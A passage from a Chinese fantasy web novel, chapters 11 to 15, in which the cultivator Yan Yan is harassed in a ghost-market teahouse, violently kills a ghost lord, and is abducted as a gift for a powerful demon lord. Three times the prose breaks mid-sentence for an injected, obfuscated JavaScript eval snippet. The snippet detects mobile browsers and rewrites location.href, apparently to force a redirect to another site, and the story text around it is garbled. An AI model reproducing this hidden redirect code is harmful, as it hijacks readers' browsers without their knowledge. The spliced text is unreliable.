台上鬼齐齐嚯了一声。 是两只品相不凡的恶鬼! 宴焱的目光紧紧锁定在骤然开始搏斗的恶鬼身上。鬼魂的搏斗方式与人修不同,他们以爪为器,森森的黑牙更是致命的武器,被对方狠狠咬下一口,便是身形薄弱一分。 右侧恶鬼率先突袭,从中间直扑对方的头颅,动作迅捷。但等它扑倒了左侧鬼的脑袋上,那左侧鬼的手臂登时发力,虬结的肌肉块猛然膨胀,将右侧鬼狠狠甩飞了出去。 ‘嘭’的一声巨响,右侧鬼重重的落在地面之上,曳开一片乌黑的血水。 左侧鬼乘胜追击,迅猛的扑了上去,意在要将对手直接击杀—— 但‘轰’的一声! 是碎石迸裂之声赫然传来。 只不过这一次,声响并非来自圆底斗兽场,而是台上的观众位。 11. 第 11 章 似乎有人将重拳狠狠砸入了青铜铁壁内,随之而来的,是骤然尖锐的咒骂声。 宴焱转着茶杯的手一滞,侧耳听了会响动。 那咒骂的鬼似乎是个随从,字里行间皆是傲慢: “你们万典茶楼是怎么招待客人的?我家主人可是木蕊大人手下道部将,你们一个个活腻了吧?” 另一个随从立刻接话: “胆敢如此羞辱我家主人,连间雅座都不肯腾出来!?信不信把你这店砸了??” 话音刚落,似要应着他的话般,那畔又响起了一阵噼里啪啦的打砸声,木头飞溅,伴随周遭人的惊呼。 掌事陪笑的声音紧接着传来:“诸位大人切莫生气啊,小店怎敢怠慢诸位,只是,只是这雅座的确有限……” 他话音未落,又是‘嘭’一声,只不过这一次是木质用具打砸在血肉之上的沉闷钝响。 “活腻了?这么搪塞??” 那随从斜睨着眼,冷笑一声。 周遭鬼怪无一不是面露惊惧,唯恐这把火烧到自己身上,个个缄默不语,缩着脑袋。 木蕊真人乃是修君的直系部下,可是个惹不起的人物。底下的分管的鬼君们嚣张跋扈惯了,在鬼市里为祸四方,偏生无人敢拦。 随从砸出去的是一把木椅,红木厚重,抛砸的角度也很刁钻,尖锐椅角精准无误的击中了掌事的肩头,痛得他的脸扭曲了片刻,却还是重新挤出笑容,将还未说完的话咽下,点头哈腰道: “是是是是,小的这就去办。” 被随从们簇拥着的鬼君听了这话,倒是一言不发,只是眉眼间满是戾气,分明还在压着火,锐利的目光落在掌柜身上,重重的哼了声。 叫掌柜吓得又是一哆嗦,赔了笑脸,又连忙转过身,压着声音,对着小二们连声吩咐; “快,快些去问问有没有客人愿意让出来雅间的?多给些好处,多说些好话,快快去!!” 小二们纷纷‘诶’了声,成鸟兽状飞快的散开。 唯有一个小二的步伐迟疑了些,在原地踱了踱步,这会儿又迟疑的凑到了掌事跟前。 掌事朝着他上下一扫眼,压低了嗓,道:“这关头你又有什么鬼主意了?” 灰衣小二谄媚笑笑,不着痕迹的瞥了眼宴焱雅间的方向,低声道:“掌柜的,那边的雅间从入座起就只点了杯下乘的茶水……不若我们重点问问?” 掌柜的闻言,眉头一松: “才一杯下乘茶水?你是怎么办事的,将这人引到雅间去了?” 小二也委屈上了,道: “我看那人身姿不凡,衣着也是上好的,以为是个大手笔的客官呢。” 掌柜的眼珠一转,咂摸着嘴,心下就打定了主意。 身姿不凡但身无财宝,多半是苦修的散修,没什么钱财,说不准境界也不高。 敲打敲打,再多拿点钱打发了,应当也不会多生事端。 “还愣着做什么?快些引路去啊。” 小二立马应声而去,掌柜又转头躬身陪着笑,顶着鬼君冷飕飕的目光,转身一溜烟的跟着小二一起去了。 宴焱将他们二鬼的窃窃私语都听在耳里,微不可查的蹙了蹙眉,不置一词。 事关性命,掌柜的行动自然很快,步履匆忙,很快二鬼便行至了宴焱的雅座前,站定,象征性的叩了叩门。 “客官,小的能否有一事相商?” 言语倒是客气,只不过动作一刻不停,没等宴焱应声,就不容分说的推门而进。 掌柜打头儿进去,站定,象征性的朝宴焱拱了拱手。目光有意无意的落在宴焱面前那盏尚未饮尽的茶水上,再一探宴焱的气息,眉间又松三分。 不过是个筑基初期的散修! 只是他面上装得好,流露三分难色,道: “客官,您有所不知,小的雅座里头需要点满三千中品灵石的茶点方可续座半个时辰。您方才坐了约莫一个时辰,须得要六千中品方可继续坐下去……” 掌柜的说话貌似恭敬,但里头藏了不少门道。他作为经营多年的老滑头,还是留了一手,这会儿是在试探宴焱的底细呢。 若是真的富贵大家,他们得罪不起的角色自然不会为了区区六千中品而让出好座。但如若真如小二所猜测,不过是个金絮在外的穷酸户…… 那便由不得他赶客走了。 宴焱也是个聪明的,一眼就看出掌柜这滑头是在试探自己。 帷幕底下的眉梢一挑,倒也没生气,只是不慌不忙,慢悠悠启唇道: “小二送我入雅间时,倒没提起这茬。” 掌柜闻言,嘴角扯了扯,心头打定了主意这是个爱啰嗦的穷酸户,付不起钱,这是要讲理了。腰板儿也挺直了些,道: “万典茶楼向来有这规矩,客官到这鬼市四处打听打听——何人不知?” “是么?” 宴焱放下瓷杯,不疾不徐的抬眸,视线越过白色飘扬的帷幕,落在掌柜的身上。 不知为何,分明是一介穷酸散修,宴焱的目光却有如实质,掌柜被他这么轻飘飘的一扫只觉得浑身发毛,喉头滚了滚,要赶客的话语半晌也发不出来。 下头的比斗愈发激烈了,上头的气氛却诡异的沉默着绷紧。 掌柜的张了张口,又张了张口,只是简单的赶客,却踟蹰着拖沓了几回,也没能说出口。 掌柜不说话,宴焱也好整以暇的看着他,视线大大方方的落在掌柜的身上,等着他如何开口。 时间一分一秒的过去,掌柜的后背不由得也出了一身薄汗。 这时,外头赫然又响起沉闷的脚步声,伴随着鬼君随从尖锐的吆喝,骤然刺破了雅间中紧绷的宁静。 是鬼君等不及了! 掌柜的心头一跳,唇间一抖,脑子里骤然清醒过来,恨不得甩自己几个巴掌。 怎么会被一介散修吓成这样? 掌柜一咬牙,把嘴里的话全都一骨碌全说了出来: “那便请客官出去吧,小店雅间需要营生,不是什么阿猫阿狗都能随意坐的!” 他说完这话,就去瞧宴焱的面色。心里打点好了,若是宴焱识时务走了最好,不费时间。若是宴焱发怒,反正一介筑基初期的修士,找几个打手便拖下去,也费不了多少时候。 宴焱把掌柜的小九九都看在眼底。他倒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258161|166460||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不在意掌柜的如何看待他。眼下时间要紧,若是万典茶楼不欢迎他,他自还有别的去处。 这笔帐,日后再算也不迟。 慢吞吞的呷了最后一口茶,宴焱故意拖着掌柜紧绷的神经,轻轻笑道: “既如此,那在下就不多留了。” 他这么说着,手下茶杯一放,眼见着就要离席。 可下一秒,原本紧闭的隔门却被人暴力的破开—— 嘭的一声巨响,木门骤然四分五裂,是一柄青铜长戟刺破了门扉,凌厉逼人,赫然是‘铮’的一声钉在了掌柜的身侧。 不仅如此,一侧挡人耳目的玻璃花窗也被打碎,玻璃碎石声下,在场数百人的目光登时落向了顶层的这侧雅间! 变故生的突然,吓得掌柜扑通一声就这么跪了下来,双腿打着哆嗦,话也说不利索了。 “鬼,鬼君息怒啊。” 门后涌现的身影赫然是方才闹事的鬼君,他手一扬,长戟立刻飞回他的掌中。眉目间压不住火气,视线轻蔑的掠过跪在地的掌柜,转而射向了宴焱。 “慢死了。” 他像是和掌柜的说话,可视线却落在宴焱的身上。 话音刚落,鬼君又仔细的扫了几眼宴焱,唇角骤然挑起一抹笑: “筑基初期的散修都能坐的雅座,我就坐不得了?” 一面说着,他一面踱步而进,掠过跪地的掌柜,行至宴焱的跟前。 无数道视线伴随着他的脚步一起涌向宴焱。 宴焱眼帘轻抬,不疾不徐的目光越过帷幕,毫不客气的与鬼君不怀好意的目光相碰。 来了么,又是男频经典炮灰挑衅情节。 偏要选在这种时候,真是麻烦。 眼见宴焱风雨不动安如山,鬼君的视线一转,落在他被红褙包裹的身躯上,顿了顿,忽地扬声道: “身姿倒是不凡。” 下一秒,长戟不客气的径直挑开宴焱的帷幕,露出他帷幕底下的那张脸。 帷幕被挑落,宴焱却眼也不眨,等着瞧鬼君是如何开口刁难他的。 说来说去也就那些,无非是拿他的修为,财力等等嘲笑一二,最后再嚣张的叫他滚出去…… 却听鬼君骤然‘嚯’了一声,笑开了: “就觉得一介筑基怎会有这般气质,原来是靠着人的小白脸!这遭来莫不是趁着修君生辰,来寻个主人家吧?” 一时间,各种复杂的目光也一并落在了宴焱的身上,不屑的,狎昵的,看好戏的…… 察觉到周遭骤然涌来的针尖似的目光,宴焱的眉梢一皱。 虽说他听不懂鬼君那所谓‘寻个主人家’是何用意,但那轻佻的目光却叫他隐隐觉着不对。 鬼君的视线贪婪的划过宴焱那张美人面,长戟晃了晃,一改先前的强势,态度多了几分宴焱看不懂的暧昧: “不若你就从了我,我一定会比你的前主人对你更好些的。起码不会叫你下得来床,如这般四处奔波劳碌……” 这下宴焱可算是听懂了,眉梢不受控制的跳了跳。 这剧本又跟自己想象中的不一样了?! 怎么又是男同?!? 12. 第 12 章 宴焱压着火,捏了捏眉心。 鬼君见宴焱沉默,像是不想从了他,先前那副恶霸样儿的嘴脸又露了出来,恶声恶气道: “你以为你有的选吗?答应不答应,只是你今后的日子好不好过的问题。” 别的不说,他对今儿这个散修还是颇为满意的。 眉目如画,乌发雪肤,静静坐在那儿,别有一番韵味,叫人不住的想把玩那漂亮纤细的脖颈。 一旁半跪着的掌柜自宴焱的帷幕挑落后就不禁咬牙,暗骂自己看走了眼。 想必他这筑基期的修为应当也是靠着双修的法子提上来的!难怪修为不高却有这般气魄! 一想到自己为了一个脔宠得罪了贵客。掌柜不由得又多瞪了几眼坏事的小二。 系统脸气得涨红,蹦上桌,指着鬼君的鼻子破口大骂: “你以为你面对的是谁??狗东西别太过分了!!等会儿被你龙傲天爷爷揍得屁滚尿流的时候别哭爹喊娘的。” 偏偏鬼君听不见系统的破防大骂,还破有闲心的伫立原地,等着宴焱作何反应。 几个随从七嘴八舌的扯开了:“我劝公子还是多识时务,我家鬼君玩够了会给你好处的,你可知我家鬼君可是……” 他们念念叨叨说了许久,但宴焱始终缄默着沉脸,一点儿好脸色都不肯给。 鬼君的好脾气好像被消磨殆尽了,他抬了抬手,止住了随从们的碎话。大步上前,就要强硬的去抓宴焱的手臂! 宴焱往旁边轻轻一闪,躲过了鬼君的手。 一字一顿。 “够了。” 他本来只想大事化小,小事化了。时辰紧凑,收拾人也需要时间,可不想这群人一而再再而三的挑逗他,蹬鼻子上眼,没完没了了。 更何况,宴焱已经忍冥界这群男同很久了。 新仇旧仇一起算,宴焱这会儿的火气大得很。 鬼君瞧他躲了,眉间怒意尽显,大喝一声:“敬酒不吃吃罚酒!” 说着,长戟一提,元婴初期的浑厚威压登时散开—— 这是要用威压迫着宴焱屈服! “别反抗了。” 元婴期的威压犹如千钧的海水,骤然均匀的压在宴焱的脊梁骨上,饶是如此,他的背却依旧挺得板正,身直如松。 鬼君大笑,一步一步朝着宴焱走来,冰冷的戟尖蹭过宴焱的下颚,略一使劲,便将他的面庞轻轻挑起。 宴焱的眼尾轻微上挑,瞳仁黑而深,水一般沉寂。若是俯视着往下看,便能瞧见那张清冷卓绝的面庞上轻轻颤抖的长睫,以及饱满漂亮的唇珠。 鬼君俯下身,不自禁的用手接过宴焱的下巴,狎昵的抬起半寸。 “乖乖从了我,我饶你一命如何?” 可宴焱却睨着眼,凤眸冷森森的盯着鬼君,唇齿微张: “松手。” 分明是不敬的语气,睥睨的眼神,可不知为何,鬼君却愈发的激动,甚至跃跃欲试了。 真是…… 带劲。 “别这么抗拒嘛,你若是想玩这种类型的,回房了我陪你好好玩。” 鬼君笑得猖獗,停在宴焱下巴的手甚至要摩挲几下,叫宴焱本就凝住的眉峰愈发紧了。 藏在发丝间的溟似有所感,悄悄的抬起头,冲着鬼君胁迫的嘶叫几声。 就在这时,原本被压制在原地的宴焱猛地一抬手,登时甩飞开鬼君桎梏的掌,冷声道: “你找死!!” 没等鬼君反应过来,下一秒,宴焱抬手抽出鬓发间的细长骨鞭,狠狠朝着鬼君抽去! 鞭子凌厉,划开一道破空声,挟着雷霆之势,恶狠狠的扇在了鬼君的嘴上。 ‘啪’的一声脆响,带着倒钩的鞭身勾住皮肉,再用力一扯—— 登时下半张脸皮肉翻飞,血水疯狂的喷涌而出!! “这一鞭,是教你闭上你的臭嘴。” 鬼君被抽得踉跄几步,慌忙抬手就要护住伤处。 可宴焱没给他机会。 又是狠戾的一鞭子袭来,这一回,鞭身又接着甩在了鬼君的手上! 力道之大,骨钩嵌入皮肉数寸,扯开之时,那手掌之上血涌如注,隐隐可见森森白骨。 “这一鞭,是教你松开你的狗爪。” 飞溅而出的红血落在宴焱的半边玉面上,衬得他雪肤愈发白皙,长睫颤颤,赫然也点上了两滴红珠,随着睫毛抖动,顺着脸侧缓缓滑落。 三千乌发披散,凤眸冷森,手上的骨鞭一刻不停,一鞭接着一鞭,狠戾的袭去! 红褙泣血,倒比在座的各位更像是从地狱爬出的恶鬼。 鬼君被这么接二连三不停的鞭子抽得缓不过神来,尽管他的境界比宴焱高上不少。可诡异的是,宴焱却仿若丝毫不受他的威压桎梏,灵活的鞭影叫鬼君连拿戟的动作都有些不稳了。 终于逮到了一个鞭影晃动的间隙,鬼君握紧了手上长戟,爆喝一声,怒极,朝着宴焱奋力刺来! 鬼君这一击,可是携带着元婴级别的浩荡灵力,巨大的冲击流瞬间荡开。 噼里啪啦的巨响之下,周遭的若干人等被狠狠甩飞出去,桌椅茶碗更是从顶楼飞溅而出,狠砸在下方密密麻麻的座位之上! 登时人人自危,惊呼声顿起,有胆小者更是闭紧了眼。 宴焱再强,也只是一介筑基修士。方才那几鞭暂且还能说是因为鬼君毫无防备,接连几鞭子抽得他措手不及才会落得如此境地。 但这一击,分明是带着元婴级别的十成力道,宴焱不可能活!! 鬼君亦然胜券在握,眼冒寒光,不顾疼痛,唇角扯出一抹恶劣的弧度。 他使出了十成的力气,区区筑基期的散修,如此敬酒不吃吃罚酒,那就不怪他…… 脑中的恶念还未成型,下一秒,便被猛然掐断—— 一道雪白的鞭影掠来,可这一次,迎接鬼君的就不是简简单单的带刺弯钩,而是狰狞的、蕴含着化神期可怖气息的血盆大口!! 溟冰冷的尖齿精准的抠住了他的头盖骨,鬼君只觉得的头骨一凉,脑中登时一片空白。 随着一清脆的碎裂声,鬼君的头颅像是摔断的 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掌柜的被甩至底下二楼看台,头撞破了一块血窟窿,这会儿刚刚被蜂拥而上的小二们搀扶起身,双脚还在颤颤巍巍。望去的视线又惊惧的落向上方盘旋着咀嚼东西的雪蟒,脚下又是一扭,就这么直愣愣的又跌坐了下去。 “掌、掌柜的……” 灰衣小二也吓傻了眼,舌根打结,结巴着话都说不利索了。 方才那雪蟒的威压,分明是化神期的大能…… 溟吞巴吞吧了残骸,这才慢慢悠悠的重新化作了一条一指宽的细蛇,攀上了宴焱递来的雪白小臂。 经过先前的进阶,溟而今的实力已然能发挥五成,起码可以比拟化神初期,恢复的时辰也比先前大大缩短,从大半个月到几天便可,倒也大大方便了宴焱。 先前还如同针尖般锐利的视线这会儿都乖顺了不少,死一般的沉寂下,一个个敬畏的屏声,呼吸都放轻了。生怕宴焱算前面的旧账。 掌柜的不愧是老油条,在一片鸦雀无声的死寂中很快反应了过来。 他也不顾自己满头的血水了,手脚并用的踉跄爬上楼,一手还拽着先前迎客的小二,就这么‘扑通’一声直溜溜的跪在了宴焱跟前,嘴里还不停的念叨着‘小人有眼不识泰山’‘小的知错了’之类的经典炮灰语录,听得宴焱眉头又是一皱。 他慢条斯理的整理着被震皱的袖腕,目光轻飘飘的掠过地上众鬼,不置一词。只是又将挑落的帷幕抖了抖,铺开,扯出一张白帕,仔细的将溅上的脏污抹去,又收叠折好。这才施施然转过身,视线落在掌柜那张被血蜿蜒打湿的脸上,露出一抹清浅的笑。 掌柜的瞧着宴焱笑了,连忙点头哈腰,也讨好的跟着笑,眼尾皱纹圈紧,只是头上窟窿还在滋滋冒着血水,这么一笑,脸上皱纹全然像是在血水里泡皱的皮肤,怪瘆人的。 宴焱笑意不及眼底,向前走了几步,拍了拍掌柜的肩膀,力道不大,却把鬼拍的一颤一颤的。 声音不大不小,是说给在场人听的: “下次别坐地起价了。” 六千中品灵石,鬼才付得起。 13. 第 13 章 鬼君已死,在场所有鬼的目光都不自觉的聚焦在缓步下楼的宴焱身上。 他看上去年轻极了,约莫不过二十岁的年纪,可出手狠绝手段毒辣,而且驭下的灵宠也阶同化神。 方才杀死鬼君时,那般狠戾的打法,叫人只看一眼就打心眼里惧怕敬畏。 才筑基初期便可以不费吹灰之力斩杀元婴修士,这般妖孽的天赋…… 此子若是一朝成长起来,天下除了那云梧少宗,还能有谁与之争锋? 他究竟是何方神圣? 无数探究的目光扫向宴焱,好奇的、惊恐的、参杂着许多说不清道不明的情绪,齐齐涌向宴焱。只是这会儿众人默契噤声,无人敢再在他的面前吭声什么。 万典茶楼内无人敢言,周遭静得可怕,唯有宴焱步步踏下阶梯时步履轻碾的声响,一声接着一声,仿若踏在座上众鬼的心头。 众鬼心念各异,可宴焱却不在意其余人的所思所想,只是一手收好鬓间细长的银色骨鞭,朝着万典茶楼的出处大步行去。 距离寅时不过一个时辰,留给宴焱的时间不多了。 在场之鬼无人敢拦。 可就在宴焱方才踏上通往出口的木质长廊时,那圆底斗兽场上忽地传来铁链擦过地面的刮擦声! 方才出事时,就有看护的打手将两侧交战的鬼奴重新用锁链拴紧。 这会儿左侧的那只恶鬼忽地开始动作,以所有人都没有预料到的刁钻角度恶狠狠的扑向了另一只拴紧的恶鬼。 左侧恶鬼血盆大口一张,便这么将右侧恶鬼从头至尾的吞咽入了腹中! 看护的打手阻止不及,只得眼睁睁的看着那只鬼奴被吞噬殆尽! 恶鬼吞噬普通鬼魂尚且能够在短时间内实力暴增,更何况被吞噬还是只品阶不低的恶鬼。 那只恶鬼飞快吞下同类之后,灵力便疯狂的暴涨,周遭冥气犹飞快的涌入它的体内,形成了一个小型的漩涡流。 随着‘嘭’的一声,拴着恶鬼的铁链被骤然挣断成几个小节,叮叮当当碎了一地。 那恶鬼的雪白獠牙陡然膨胀开,变得又粗又长,涎水顺着獠牙的弧度向下滴流。那黑压压的瞳仁向四周扫视一周,随即立刻锁定了高站在台上的宴焱。 与那贪婪的目光一相接,宴焱心中就暗道一声不好! 方才他出手杀死鬼君时应当是泄漏了些许生人气息,加之九转灵体本就被鬼魂所青睐,这只恶鬼怕是盯上他了。 果不其然,霎时,那只恶鬼的肌肉骤然膨起,四肢着地,狠狠蓄力随即一跃,朝着高处的宴焱扑去! 宴焱当即抽开骨鞭,奋力抽向了扑跃而来的恶鬼。 鞭尾精准的落在恶鬼的薄弱处、那双黑压压的眼睛之上。带有倒钩的鞭身嵌入恶鬼厚重的眼皮,马上往外狠狠一勾—— 恶鬼登时哀嚎一声,变形崎岖的手捂住眼球,指头间飞快的溢出一片血红,皮肉半掉不掉的挂在面皮上,更显瘆人。 宴焱抓住这个罅隙,就要往外轻轻一跃,意图甩开这恶鬼! 可下一秒,恶鬼那被宴焱勾连撕碎的皮肉忽地又重新飞快的愈合,将原本崎岖的伤口覆盖得完好如初。 它咆哮一声,立刻破向木质墙壁,顷刻间厚木破裂而开。恶鬼飞快冲越出了万典茶楼,穷追不舍的宴焱的身后奔走着! 宴焱凝眉,脚尖飞快点地,冲跃上屋脊,在数个房屋垂脊之间疾速奔跃。 可恶鬼的速度非常快,近乎是几息之间,伴随着扑面而来的涎水臭气,恶鬼粗厚的喘息声便在宴焱耳旁炸响。 它一面奔袭,一面探出右手利爪,狠狠朝着宴焱抓去! 宴焱咬牙,转身飞快的又是一鞭子,同时加快脚下步伐,强行与恶鬼拉开了一段距离! 再往前走,便要撞到闹市区了。 宴焱趁着罅隙观察着周边的环境,一眼便盯准了一处窄巷。 横过那方窄巷子,便是横亘整个闹市区的生辰游行队伍。恶鬼的身形巨大,定然穿不过那方窄巷,届时再引渡至鬼役身侧,自会有人替自己收拾恶鬼。 打定主意,宴焱纵身一跃—— 随着一声声周遭路人接连不断的惊呼,恶鬼紧随其后,双腿一蹬,借着垂脊的地势朝下狠狠扑了过去!! 与此同时,那利爪也一并探来,奋力抓向宴焱的脖颈弱处。 宴焱一个翻身,就要躲过那探来的粗掌。可那恶鬼却像是陡然生了灵智,用这利爪作掩护,实则一个灵活的转身,一蹬腿,后爪就这么直直抓向了宴焱的肩颈。 宴焱的眉头瞬间拧紧,奋力往旁一闪,可还是躲避不及,眼睁睁的望向那利爪落向自己的肩头,撕开了道口子。 鲜血登时弥漫而出,濡开红褙。宴焱立刻用灵力护住自己的伤口,阻止血液进一步弥散。 可是已经来不及了。 香甜的,近乎是令鬼着迷的生人血腥气登时散开,刹那间,无数道贪婪渴求的目光自四面八方袭来。 “生人!!是生人!!” “好香好香好香好香,真的好香好香好香。” “为什么这个生人会这么香,香的我想再死一回了……” 无论是摆摊的小贩、交易的客人还是巡逻的鬼役闻到这股香味后,都不由自主的往香味的地方凑近,赤红着眼,一步步朝着宴焱逼近。 宴焱一手护住伤口,一手攥紧了骨鞭,警惕的望向四周紧逼而来的鬼群,步步后退向身后白墙。 恶鬼在这一击后便诡异的沉寂了下来,喉头发出阵阵低胁的呼噜声,黑压压的瞳仁一眨也不眨的紧盯着宴焱。 不对劲。 有地方不对劲! 宴焱只觉得头皮发麻,隐隐察觉了一丝端倪。 但眼下情景容不得他多想,围上来的鬼越来越多,逐渐要形成一堵密不透风的围墙。宴焱看准了一个时机,猛的一甩手中长鞭,将鞭尾钩住墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宴焱猛地一抬头,果不其然下一秒,两侧队伍登时散开一空隙,众人恭谨的目光朝向中间缓步行来的一道身影。 来人一袭青绿色长袍,面若好女,耳边别着一只木蕊花,唇边漾着一抹轻挑的笑意。 他缓步走近,一打扇尖,铺天盖地的威压顿时涌来,那力道纯厚,起码是化神以上! 宴焱的手脚猛然被压制,动弹不得,溟在发间探出头来,‘嘶嘶’的发出受迫的响动,盯准了款步而来的人。 果真是他——木蕊真人! 那木蕊真人看着心情颇好,走到了宴焱跟前,合上的木扇划过宴焱的侧脸,最后一路下滑,落在了宴焱纤细的脖颈之上,轻轻一点,笑道: “我果真没看走眼,不枉我盯了你许久,道友天人之姿,又有如此厉害的天赋……” 细语呢喃,又骤然俯身凑近了宴焱的耳边。 “修君一定会很满意这份生辰礼的。” 宴焱的思维一滞,心下沉了沉,挣扎着侧过半寸目光,落在了木蕊清浅的笑容上。 下一秒,木蕊又蓦地直起身,对着周遭一片围堵的鬼魂朗声道: “这位是修君新纳的郎君!望诸位看在修君的脸面上,请回吧——” 14. 第 14 章 木蕊此话一出,周遭的鬼怪登时面色一惧,原本蠢蠢欲动的鬼魂也登时安分了下来。 修君残暴狠戾,这是六界皆知的事实,偏偏修君修为极高,即使仇家满六界跑,也没人能奈何得了他。 没鬼敢和修君抢人。 木蕊见不安分的鬼怪都驻足不敢动作了,这才施施然转身,拍了拍手。 一阵灰雾顿起。隐隐绰绰间,由一众鬼役高抬的大轿从灰雾中缓缓行出,红绸点轿,喜娘随行,那唢呐声声,分明唱的是喜乐。 侧边数位白衣鬼侍鱼贯而入,一人一只手,架住了宴焱的手肘,就要将他往喜轿里塞。 方才追杀时一直躲着的系统这时候又窜了出来,狂扇着短翅,见宴焱这会儿被强行带走,非但没有宽慰,反而还乐颠颠的笑上了: “嚯,还以为是什么不长眼的反派又盯上宿主您了,原来是情缘啊,情缘好,情缘好啊哈哈哈。” 它一面猥琐的笑着,一面又扒拉开系统面板,划拉了几下。 “筑基的时候读者爽度加了二十,这回情缘应该又能加十分了,美女蛇可是咱点家最受欢迎的后宫类型之一,啊哈哈哈这天道老儿挺上道嘛,不错不错啊。” 系统絮絮叨叨的煽风点火,恨不得直接把宴焱塞入‘洞房’,刷一刷读者爽度。 只可惜宴焱被鬼侍压制,没办法一脚踹上系统贱嗖嗖的笑脸。 轿子狭小,容纳进一个成年男子已是不易,更别提活动一二了。被一气呵成的被塞入轿中后,他只得凝下心神,观察周遭的动向。 木蕊做事谨慎,在把宴焱封锁在轿中前就已然用灵力封住了他的穴脉,使得灵力难以从筋脉中流走。 还封了他的动穴,叫宴焱难以动作。 宴焱被五花大绑,眼前景象又骤然被一重暗压压的红所笼罩。赫然是喜娘强硬的蒙上了一层红盖头,脚微微一碾,似乎还有桂圆之类的小果洒满地面。 宴焱:……总觉得哪里不对。 那侧系统还在欣喜若狂的换算着奖励呢。这头红轿就被高高抬起,鬼役的手很稳,轿子一路四平八稳的飘过生辰的游行队伍,直直朝着往生河的尽头行去。 溟一直悄悄潜伏在宴焱鬓间,缓慢蓄力,无声无息间将灵力渡进了宴焱的体内。宴焱面上不显,只是暗中凝气,将堵塞的筋脉缓慢的疏通干净。 任凭木蕊千算万算,他也料不到宴焱的九转灵体还能承接契约灵体的灵力。 随着壅塞的筋脉被疏通,五感也逐渐清明,宴焱略微侧身,听到了点轿外的响动。 赫然是鬼役在闲聊。 “你说木蕊大人花了这么大劲绑了个人修来要做什么?修君大人一贯不近美色,木蕊大人怎么还往他床上塞人呢?” 有鬼役哈切一声,搭话道: “我也觉着奇怪,这会儿还换了个路子,塞了个男人。嚯,别的不说,长得倒是真俊。修君大人若是看不上,再像之前那般轰出殿去……也算是暴殄天物了。” “是啊。但这次生辰宴修君大人宴请了不少有名有姓的主儿来。届时若是修君不喜,再转手送给其他人,也算是做了一桩人情,不枉费木蕊大人的这番功夫了。” “嘘——你们小点声!不要命了?木蕊大人还在附近呢。”有鬼役压低声音,警告道。 话题彻底终结,外头安静了下来。 宴焱听得仔细,听到几处关键,眉头也逐渐拧紧。 眼下木蕊设下的桎梏已然被他突破,此时破开木轿离去,虽说凶险,但宴焱还是有九成把握能够脱身。 但…… 宴焱心念一动,忽地在识海中传声给系统。 “先前筑基期突破的奖励何时能够发放?” 系统这会儿倒是应得勤快了,飞快接嘴道:“早就发了,放在咱空间里了!也是一个强制性契约灵体的大礼包呢。咋了宿主,你这会儿要用吗?” 宴焱轻轻摇了摇头,言简意赅:“等会。” 系统的大礼包虽说能够强制契约灵体,但还是有条件的。首先是距离灵体的不能过远,其次是要将自己的心头血与灵体相融,方可契约成功。 宴焱在契约溟时,溟因为喜□□焱的气息,没有过多挣扎就接受了。而今第二次的灵体契约,宴焱本来打算着找一只厉害些的恶鬼便好,可如今形势所迫,他却变了主意—— 修君。 多么诱惑人的契约对象。 神兽血脉,又是六界屈指可数的洞虚期大能,即使契约之后境界会受到压制,但也要比普通恶鬼好上太多。 况且能贴身接近这般灵体的机会可不多……若是一朝签订契约,那对上云梧,他便又有几分把握能赢。 宴焱的指尖有一搭没一搭的轻敲着椅面,盘算着对策,盖头之下的凤眼微眯,俨然野心勃勃。 轿外头逐渐升起了一片厚重的浓雾,周遭景色都显得不真切。 前头唢呐凄厉的撕开浓雾,硬生生探出一条道来,轿身轻轻晃了晃,水声渐起,似乎是踏入了往生河的流域。 修君的宫殿出人意料的不在冥界,而是坐落在妖界和冥界的两界河的上游——忘川。 浓雾散去之后,眼前景色豁然开朗。 宴焱透过盖头不断晃动的罅隙望去,却见一座巍峨耸立的山从薄雾间浮现,山顶璀璨连去一片瑶台银阙,隐隐有丝竹管弦之声传来。 离的近些了,便能瞧见那宫殿布局:前边是万宾齐坐的会客长殿,筵宴三千,觥筹交错。 只是主座空空,不见修君影子。 木蕊显然也没料到这点,蹙了蹙眉,眼神示意一边侍立的随从,有人得了眼色,立刻恭敬的迎了上来,压低声音道: “修君方才离开宴厅,这会儿怕是还在寝殿呢。” 木蕊微不可查的颔首。面却不露半分端倪,而是大大方方的引着红轿落在三千玉阶之下。 他本打算趁着修君尚在殿中,将这份‘生辰礼’先斩后奏的献上。 可而今修君尚在寝殿,红轿自不可能越过他的许可进入房内,木蕊只好暂退一步,先行在殿中候着,静待修君发话,再将‘生辰礼’呈上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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殿里点了沉香,颇为雅淡。宴焱凝神,将系统一脚踹回了角落后,这才小心翼翼的用神识探查了一番周遭物件,心下筹划了个大致的方案。 先引修君接近自身,再叫溟出其不意的突袭,加之系统的金手指,宴焱自觉有七成把握能在瞬息之间将契约定下! 耳畔骤然传来一阵沉重的脚步声,宴焱呼吸放缓,一吐一息尽数喷洒在厚重的红盖之上,心头加快的跳动着—— 修君走近了! 随着一双骨节分明的手从红盖底下探来,微微掀起一寸光亮。 宴焱那脚踹得急,系统这才刚刚晃晃悠悠的从角落里爬起。 它嘴里还在念念叨叨什么‘后宫’之类的词,一对上那张明显是男人的脸,登时又扯出了变调崩溃的惊呼: “怎么又是男的?!?说好的美女蛇呢??” “为什么掏出来比宿主您还大啊??” 15. 第 15 章 入目是一张颇为俊雅的脸,桃花眼弯弯,只是瞳仁是明显的竖瞳,窄而金,明晃晃的昭示着他的妖修之身。 